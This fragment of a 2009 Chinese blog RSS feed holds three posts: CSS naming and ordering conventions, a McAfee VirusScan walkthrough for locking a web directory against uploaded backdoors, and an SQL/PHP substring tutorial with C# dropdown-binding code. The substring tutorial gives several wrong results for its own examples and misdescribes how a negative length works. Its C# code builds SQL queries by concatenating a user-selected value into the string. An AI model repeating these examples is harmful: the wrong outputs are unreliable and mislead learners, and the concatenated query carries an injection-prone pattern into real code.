        <title><![CDATA[css书写规范]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/da769f13748bae0a5aaf53a4.html]]></link>
        <description><![CDATA[
		
		一、 基本书写规范　　<br>
<br>
1、所有的<a href="http://hi.baidu.com/ctzzmy/blog/item/:;"><u><strong><font color="#333333">CSS</font></strong></u></a>的尽量采用外部调用<br>
　　 &lt;LINK href=&quot;style/style.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt; <br>
　　<br>
　　书写时重定义的最先，伪类其次，自定义最后（其中a:link a:visited a:hover a:actived 要按照顺序写）便于自己和他人阅读。 <br>
　　<br>
　　为了保证不同浏览器上字号保持一致，字号建议用点数pt和像素px来定义，pt一般使用中文宋体的9pt和11pt，px一般使用中文宋体12pt 和14.7px 这是经过优化的字号，黑体字或者宋体字加粗时，一般选用11pt和14.7px 的字号比较合适。 <br>
　　<br>
2、CSS推荐模板: <br>
　　<br>
&lt;style type=&quot;text/css&quot;&gt; <br>
&lt;!&mdash; <br>
body { font-size:9pt; font-family:Arial, Helvetica, sans-serif; color:#333333; text-align:center; margin:0px;}<br>
ul { margin:auto; }<br>
img { border:0px; }<br>
a { font-size:9pt; text-decoration:none;color:#FFFFFF; }<br>
a:hover { font-size:9pt; text-decoration:underline; color:#990000; }<br>
a.1 { font-size: 9pt; color: #3366cc; text-decoration: none} <br>
a.1:hover { font-size: 9pt; color: #FF9900; text-decoration: none}<br>
<br>
.colorblue,colorblue:hover { color:#003366 ;}<br>
.blue { font-family: &quot;宋体&quot;; font-size: 9pt; line-height: 20px; color: #0099FF; letter-spacing: 5em}<br>
<br>
.colorRed,a.colorRed:hover{ color: #FF0000; }<br>
.colorLime,a.colorLime:hover{ color: #00FF00; }<br>
.colorGreen,a.colorGreen:hover{ color: #008000; }<br>
.colorBlue,a.colorBlue:hover{ color: #0000FF; }<br>
.colorOrange,a.colorOrange:hover{ color: #FFA500; }<br>
--&gt; <br>
&lt;/style&gt; <br>
　　<br>
　　<br>
　　为了保证浏览器的兼容性，必须设置页面背景&lt;body bgcolor=&quot;#FFFFFF&quot;&gt;<br>
<br>
3、其中注释写法，例：/*header begin!*/<br>
<br>
<br>
二、CSS命名参考<br>
<br>
1、常用的CSS命名规则： <br>
头：header<br>
内容：content/container<br>
尾：footer<br>
导航：nav<br>
侧栏：sidebar<br>
栏目：column<br>
<br>
2、直观命名<br>
<br>
当在设计Web页面以及需要对一个div进行标识的时候，最自然的想法就是使用可以描述元素所在页面位置的词汇来对其命名。这种方法使得类以及id的名称如下面所示：<br>
<br>
自上而下小组：top-panel<br>
<br>
横向：horizontal-nav<br>
<br>
左面：left-side<br>
<br>
中心-栏目：center-column<br>
<br>
右面：right-col<br>
<br>
这些是CSS以及XHTML类和id的有效命名方式。这些词汇简单并且能够使人顾名思义，因此满足了标识页面元素以及相应的CSS样式的需要。<br>
<br>
但问题是这样的名称同页面内容的特定表达方式相关联。这些命名参考了某种特定页面布局中的页面元素位置，因此在这样的布局之外使用就会显得不合适甚至造成理解混乱。同时，这些命名没有涉及文档内容的结构。因此，下面给出了对CSS类以及ID命名更好的方法。<br>
<br>
3、结构化命名<br>
<br>
结构化的标记意味着表达方式/位置信息同内容的完全分离&mdash;&mdash;这其中包括出现在标记（markup）中的类和id名称。<br>
<br>
有标记的相关信息都是用来描述文档的结构而不是外观。这样的特点使得我们可以通过简单的改变CSS的方式来对不同外观格式下的内容（content）以及标记（markup）进行重用。当你理解这种方式时，很容易就可以发现采用页面位置来为类以及id命名的方式在处理如音频（audio）等外观格式上显得非常不合适。因此，应当根据在文档中的使用目的而非出现位置来对类以及id进行结构化命名。<br>
<br>
可以按照如下所示的结构化方式来对类以及id名称命名：<br>
<br>
顶部抢眼部分：branding<br>
<br>
导航部分：main-nav<br>
<br>
主要内容部分：main-content<br>
<br>
这些名字同直观命名方式一样非常易懂，但他们描述了页面元素的作用而非位置。这使得代码更加符合使用纯粹的结构化标记（structural markup）的初衷，即开发人员可以在不改变标记的情况下对各种各样媒体下的显示格式进行处理。<br>
<br>
即使你不打算在其他的媒体上对Web页面进行格式修改，使用结构化命名方式还可以帮助你在日后的站点升级或重新设计中更为轻松。例如，结构化命名避免了当一个div同id right-column移动到页面左边后所带来的混乱。对div sidebar的采用这样的命名方式就显得更加适当，因为无论它出现在页面的哪一边，这个名字仍然对开发人员来说直观易懂。<br>
<br>
4、惯例<br>
<br>
Andy Clarke分析了40份由推崇标准化Web设计理念的开发人员所设计的Web站点的源代码。尽管类以及id名称很不统一，但是还是发现了一些频繁出现的常用名称。这里给出了最常用类/id名称的示例列表：<br>
<br>
header<br>
<br>
content<br>
<br>
nav<br>
<br>
sidebar<br>
<br>
footer<br>
<br>
如果要查看完整的列表，可以看看最常见命名惯例表<br>
<br>
这些常见的类以及id名称是否标志着一种标准的诞生或是普遍接受惯例的形成呢？尽管这是我所希望的，但我并不这么认为。我的确希望能够看见一整套对于我们每天都可以看到的常用页面元素的命名标准。同时，使用标准化的命名方式可以使得寻找页面元素以及对Web站点升级带来方便，尤其当需要在由不同开发人员在不同时间所开发站点中换来换去工作的时候。<br>
<br>
review:<br>
<br>
大的布局div可以以外观的方式命名(如header,footer)，其他的我觉得还是应该以描述所含内容的标准来命名（如menu，news）<br>
<br>
5、自定义命名：<br>
<br>
根据w3c网站上给出的,最好是用意义命名<br>
比如：是重要的新闻高亮显示（像红色）<br>
有两种<br>
.red{color:red}<br>
.important-news{color:red}<br>
很显然第二种传达的意义更加明确,所以尽量不要用意义不明确的作为自己自定义的名字<br>
<br>
<br>
<br>
三、CSS样式书写顺序<br>
<br>
1、显示属性 <br>
* display * list-style * position * float * clear <br>
<br>
2、自身属性 <br>
* width * height * margin * padding * border * background <br>
<br>
3、文本属性 <br>
* color * font * text-decoration * text-align <br>
* vertical-align * white-space * other text * content 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%CA%D5%B2%D8%A1%F4%D7%DB%BA%CF%A1%FE">〓收藏◆综合〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/da769f13748bae0a5aaf53a4.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月18日 星期三  下午 06:13</pubDate>
        <category><![CDATA[〓收藏◆综合〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/da769f13748bae0a5aaf53a4.html</guid>
</item>

<item>
        <title><![CDATA[利用麦咖啡打造超安全的Web站点目录]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/78190ca7df26e09dd143583e.html]]></link>
        <description><![CDATA[
		
		<pre>作者:普瑞斯特
QQ:9779420
Web:http://www.hacksb.cn/
话说某日暴某站菊花,发现Web目录权限极小,
除了基本的上传功能健全,几乎没有任何权限,修改,删除,替换等都不奏效.
心想此站权限设置果然牛B,不料百密必有一疏,最终还是被在下拿到服务器权限..
殊不知此站大有文章,虽手握服务器权限,但仍对Web目录无可奈何.
在下一向积极好学,碰到如此变态之服务器,必然是要扒皮抽筋找其原因..
首先查看目录权限,发现并无什么特别之处,更何况我现在是管理员权限,
应该是畅通无阻,看来问题不是出在权限的设置上.
于是苦思冥想,忽然之间灵光一闪,发现服务器上装有麦咖啡..
早就听说这玩意相当牛B,多数服务器都用它来看家护院..
难道问题出在这里?经过在下的一番潜心琢磨,终于揭开谜底,真相大白..
(前面都是屁话,下面开始正题)
事后发现网上相关内容极少,所以写此文章,以作记录.
首先安装McAfee V8.5i Patch 6 爱虫集成版.过程省略.
安装完成后邮件点击右下角的麦咖啡图标,打开VirusScan控制台,如图一.
 <div forimg="1" align="center"><a target="_blank" href="http://hiphotos.baidu.com/lookxd/pic/item/8ccffc11d8dfef5fcb80c44f.jpg"> <div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/lookxd/pic/item/a634fdde114f8e79cdbf1a48.jpg"></div></a></div>
接下来选择访问保护,右键单击属性,会弹出属性对话框,如图二.
 <div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/lookxd/pic/item/7bc97fad922129284a36d649.jpg"></div>
这时会看到&quot;访问保护规则&quot;的界面,我们勾选&quot;启用访问保护&quot;和&quot;禁止McAfee服务器被停止&quot;,如图三.
 <div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/lookxd/pic/item/38776ea467ec56d69152ee4a.jpg"></div>
然后我们单击&quot;用户自定规则&quot;,可以看到,麦咖啡已经默认添加很多安全规则,
我们的目的是防止Web目录内的网页文件被恶意修改,添加和删除,所以我们要做的就是新建一条规则.
这里假设我们的空间只支持ASP格式的网站程序,所以我们对应的要添加一条防止新建和删除修改ASP文件的规则.
单击右下方的新建选项,我们会看到如图四的界面,勾选第二项,点击确定
 <div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/lookxd/pic/item/91f03589559e50920e24444a.jpg"></div>
这时我们就进入了规则设置的界面,具体的设置方法请参照图五.
 <div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/lookxd/pic/item/d123e6d364cf1e15960a164b.jpg"></div>
图中的E:\wwwroot为我们的Web网站目录,
E:\wwwroot**.asp的意思是禁止在E:\wwwroot文件夹的所有目录创建,修改和删除任何ASP格式的文件.
这样我们的目的就达到了,就算我们的网站有漏洞,别人也没有办法上传后门文件.
不过有人会问,万一漏掉了哪个目录,不小心被人写入Webshell并且提权进入了服务器,该怎么办?
别急,我们还有最后一招,就是给麦咖啡加上一把坚固的锁..
我们单击VirusScan控制台的文件菜单,选择用户界面选项,点击密码选项,
勾选第二项,并设置我们的密码,如图六.
 <div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/lookxd/pic/item/f208abdd88c0cfce77c63854.jpg"></div>
至此,一个安全的Web目录就诞生了,就算黑客千方百计进了我们的服务器,也没办法修改我们的规则,
只能对着我们的超BT的设置独自发呆了..[face03]
注:本文主要拿ASP文件做演示,大家可以修改E:\wwwroot**.asp为我们所希望限制的格式,
如E:\wwwroot**.aspx E:\wwwroot**.php等,以此类推.如果我们网站的数据库格式是ASP,请修改为MDB格式,
防止被麦咖啡限制,造成网站出错.
(本文为普瑞斯特原创,转载请注明出处)</pre> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B7%FE%CE%F1%C6%F7%A1%F4%CE%AC%BB%A4%A1%FE">〓服务器◆维护〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/78190ca7df26e09dd143583e.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月16日 星期一  下午 07:02</pubDate>
        <category><![CDATA[〓服务器◆维护〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/78190ca7df26e09dd143583e.html</guid>
</item>

<item>
        <title><![CDATA[SQL截取字符串]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/17646b2dad32363c349bf73a.html]]></link>
        <description><![CDATA[
		
		<p>SUBSTRING <br>
返回字符、binary、text&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  或&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  image&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  表达式的一部分。有关可与该函数一起使用的有效&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Microsoft&amp;reg;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  SQL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Server&amp;#8482;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  数据类型的更多信息，请参见数据类型。&nbsp;&nbsp;&nbsp;<br>
<br>
语法 <br>
SUBSTRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  (&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  expression&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  start&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  length&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  )&nbsp;&nbsp;&nbsp;<br>
<br>
参数 <br>
expression <br>
<br>
是字符串、二进制字符串、text、image、列或包含列的表达式。不要使用包含聚合函数的表达式。 <br>
<br>
start <br>
<br>
是一个整数，指定子串的开始位置。 <br>
<br>
length <br>
<br>
是一个整数，指定子串的长度（要返回的字符数或字节数）。</p>
<p>substring() <br>
&mdash;&mdash;任意位置取子串 <br>
<br>
left() <br>
right() <br>
&mdash;&mdash;左右两端取子串 <br>
<br>
ltrim() <br>
rtrim() <br>
&mdash;&mdash;截断空格，没有trim()。 <br>
<br>
charindex() <br>
patindex() <br>
&mdash;&mdash;查子串在母串中的位置，没有返回0。区别：patindex支持通配符，charindex不支持。</p>
<p> </p>
<p> </p>
<p> </p>
<p><strong>函数功效：</strong><br>
字符串截取函数，只限单字节字符使用（对于中文的截取时遇上奇数长度是会出现乱码，需另行处理），本函数可截取字符串指定范围内的字符。<br>
<br>
<strong>应用范围：<br>
</strong>标题、内容截取<br>
<br>
<strong>函数格式：</strong><br>
string <strong class="methodname">substr</strong> ( string string, int start [, int length])<br>
参数1：处理字符串<br>
参数2：截取的起始位置（第一个字符是从0开始）<br>
参数3：截取的字符数量<br>
substr()更多介绍可在PHP官方手册中查询（字符串处理函数库）<br>
<br>
<strong>举例：</strong><br>
substr(&quot;ABCDEFG&quot;, 0);&nbsp;&nbsp;&nbsp;&nbsp;  //返回：ABCDEFG，截取所有字符<br>
substr(&quot;ABCDEFG&quot;, 2);&nbsp;&nbsp;&nbsp;&nbsp;  //返回：CDEFG，截取从C开始之后所有字符<br>
substr(&quot;ABCDEFG&quot;, 0, 3); //返回：ABC，截取从A开始3个字符<br>
substr(&quot;ABCDEFG&quot;, 0, 100); //返回：ABCDEFG，100虽然超出预处理的字符串最长度，但不会影响返回结果，系统按预处理字符串最大数量返回。<br>
substr(&quot;ABCDEFG&quot;, 0, -3); //返回：EFG，注意参数-3，为负值时表示从尾部开始算起，字符串排列位置不变</p>
<p> </p>
<p> </p>
<p> </p>
<p>例子:</p>
<p><br>
<strong><font size="3">1.截取已知长度的函数</font></strong></p>
<p><br>
<strong>&nbsp;&nbsp;</strong><u>A.截取从字符串左边开始N个字符</u></p>
<p>
<table style="width: 522px; height: 23px" cellspacing="1" cellpadding="1" width="522" border="1">
    <tbody>
        <tr>
            <td>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='http://www.163.com'<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select Left(@S1,4)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  ------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: http</td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;&nbsp;<u>B.截取从字符串右边开始N个字符(例如取字符</u><a href="http://www.163.com/"><font color="#800080">www.163.com</font></a><u>)</u></p>
<p>
<table style="width: 522px; height: 23px" cellspacing="1" cellpadding="1" width="522" border="1">
    <tbody>
        <tr>
            <td>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='http://www.163.com'<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select right(@S1,11)&nbsp;&nbsp;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  ------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: <a href="http://www.163.com/"><font color="#800080">www.163.com</font></a></td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;&nbsp;<u>C.截取字符串中任意位置及长度(例如取字符www)</u></p>
<p>
<table style="width: 521px; height: 23px" cellspacing="1" cellpadding="1" width="521" border="1">
    <tbody>
        <tr>
            <td>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='http://www.163.com'<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select SUBSTRING(@S1,8,3)&nbsp;&nbsp;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  ------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: <a href="http://www.163.com/"><font color="#800080">www.163.com</font></a></td>
        </tr>
    </tbody>
</table>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;  以上例子皆是已知截取位置及长度,下面介绍未知位置的例子</p>
<p><strong><font size="3">2.截取未知位置的函数</font></strong></p>
<p><br>
&nbsp;&nbsp;<u>A.截取指定字符串后的字符串(例如截取http://后面的字符串)</u></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;  方法一:</p>
<p>
<table style="width: 525px; height: 23px" cellspacing="1" cellpadding="1" width="525" border="1">
    <tbody>
        <tr>
            <td>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='http://www.163.com'&nbsp;&nbsp;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select Substring(@S1,CHARINDEX('www',@S1)+1,Len(@S1))<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  /*此处也可以这样写:Select Substring(@S1,CHARINDEX('//',@S1)+2,Len(@S1))*/
            <p>&nbsp;&nbsp;&nbsp;&nbsp;  ------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: <a href="http://www.163.com/"><font color="#800080">www.163.com</font></a></p>
            </td>
        </tr>
    </tbody>
</table>
<br>
<font color="#ff0000">&nbsp;&nbsp;&nbsp;&nbsp;  需要注意:CHARINDEX函数搜索字符串时,不区分大小写,因此CHARINDEX('www',@S1)也可以写成CHARINDEX('WWW',@S1)</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;  方法二:(与方法一类似)</p>
<p>
<table style="width: 526px; height: 23px" cellspacing="1" cellpadding="1" width="526" border="1">
    <tbody>
        <tr>
            <td>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='http://www.163.com'&nbsp;&nbsp;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select Substring(@S1,PATINDEX('%www%',@S1)+1,Len(@S1))<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  --此处也可以这样写:Select Substring(@S1,PATINDEX('%//%',@S1)+2,Len(@S1))<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  ------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: <a href="http://www.163.com/"><font color="#800080">www.163.com</font></a>&nbsp;&nbsp;</td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;&nbsp;&nbsp;<font color="#ff0000">函数PATINDEX与CHARINDEX区别在于:前者可以参数一些参数,增加查询的功能</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;  方法三:</p>
<p>
<table cellspacing="1" cellpadding="1" width="523" border="1">
    <tbody>
        <tr>
            <td>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='http://www.163.com'&nbsp;&nbsp;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select REPLACE(@S1,'http://','')<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  ------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: <a href="http://www.163.com/"><font color="#800080">www.163.com</font></a></td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;&nbsp;<font color="#ff0000">利用字符替换函数REPLACE,将除需要显示字符串外的字符替换为空</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;  方法四:</p>
<p>
<table cellspacing="1" cellpadding="1" width="523" border="1">
    <tbody>
        <tr>
            <td>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='http://www.163.com'&nbsp;&nbsp;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select STUFF(@S1,CHARINDEX('http://',@S1),Len('http://'),'')<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  ------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: <a href="http://www.163.com/"><font color="#800080">www.163.com</font></a>&nbsp;&nbsp;</td>
        </tr>
    </tbody>
</table>
<br>
&nbsp;&nbsp;<font color="#ff0000">函数STUFF与REPLACE区别在于:前者可以指定替换范围,而后者则是全部范围内替换</font></p>
<p>&nbsp;&nbsp;<u>B.截取指定字符后的字符串(例如截取C:\Windows\test.txt中文件名)</u><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  与A不同的是,当搜索对象不是一个时,利用上面的方法只能搜索到第一个位置</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;  方法一:</p>
<p>
<table style="width: 522px; height: 23px" cellspacing="1" cellpadding="1" width="522" border="1">
    <tbody>
        <tr>
            <td>
            <p>&nbsp;&nbsp;&nbsp;&nbsp;  Declare @S1 varchar(100)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  Select @S1='C:\Windows\test.txt'<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  select right(@S1,charindex('\',REVERSE(@S1))-1)<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  -------------------------------------<br>
            &nbsp;&nbsp;&nbsp;&nbsp;  显示结果: text.txt</p>
            </td>
        </tr>
    </tbody>
</table>
<br>
<font color="#ff0000">利用函数REVERSE获取需要截取的字符串长度</font></p>
<p>&nbsp;&nbsp;</p>
<p> </p>
<p>substr()</p>
<p> </p>
<p> </p>
<p>例子:</p>
<p>private void DDL_AreaBind()<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  conn = new SqlConnection(ConfigurationManager.ConnectionStrings[&quot;strcon&quot;].ConnectionString);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str = &quot;0000&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmd = new SqlCommand(&quot;select AreaID,Name=ltrim(Name) from Area where&nbsp;&nbsp;&nbsp;  right(AreaID,4) ='&quot; + str + &quot;'&quot;, conn);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  SqlDataAdapter sda = new SqlDataAdapter(cmd);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  sda.Fill(ds, &quot;area&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_area.DataSource = ds.Tables[&quot;area&quot;].DefaultView;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_area.DataTextField = &quot;Name&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_area.DataValueField = &quot;AreaID&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_area.DataBind();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmd = new SqlCommand(&quot;select * from Area&nbsp;&nbsp;&nbsp;  &quot;, conn);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmd.CommandType = CommandType.Text;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  SqlDataAdapter adapter = new SqlDataAdapter(cmd);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  adapter.Fill(ds, &quot;city&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataSource = ds.Tables[&quot;city&quot;].DefaultView;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataTextField = &quot;Name&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataValueField = &quot;AreaID&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataBind();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }</p>
<p> </p>
<p> </p>
<p>protected void ddl_area_SelectedIndexChanged(object sender, EventArgs e)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  conn = new SqlConnection(ConfigurationManager.ConnectionStrings[&quot;strcon&quot;].ConnectionString);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.Enabled = true;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str1=&quot;0000&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmd = new SqlCommand(&quot;select AreaID,Name from Area where substring(AreaID,1,2)='&quot; + this.ddl_area.SelectedValue.Substring(0,2)&nbsp;&nbsp;&nbsp;  + &quot;' AND substring(AreaID,3,4) &lt;&gt; '0000' AND substring(AreaID,5,2)='00'&nbsp;&nbsp;&nbsp;  &quot;, conn);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmd.CommandType = CommandType.Text;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  SqlDataAdapter adapter = new SqlDataAdapter(cmd);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  DataSet ds = new DataSet();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  adapter.Fill(ds, &quot;city&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataSource = ds.Tables[&quot;city&quot;].DefaultView;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataTextField = &quot;Name&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataValueField = &quot;AreaID&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  this.ddl_city.DataBind();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%CA%D5%B2%D8%A1%F4%D7%DB%BA%CF%A1%FE">〓收藏◆综合〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/17646b2dad32363c349bf73a.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月12日 星期四  下午 04:54</pubDate>
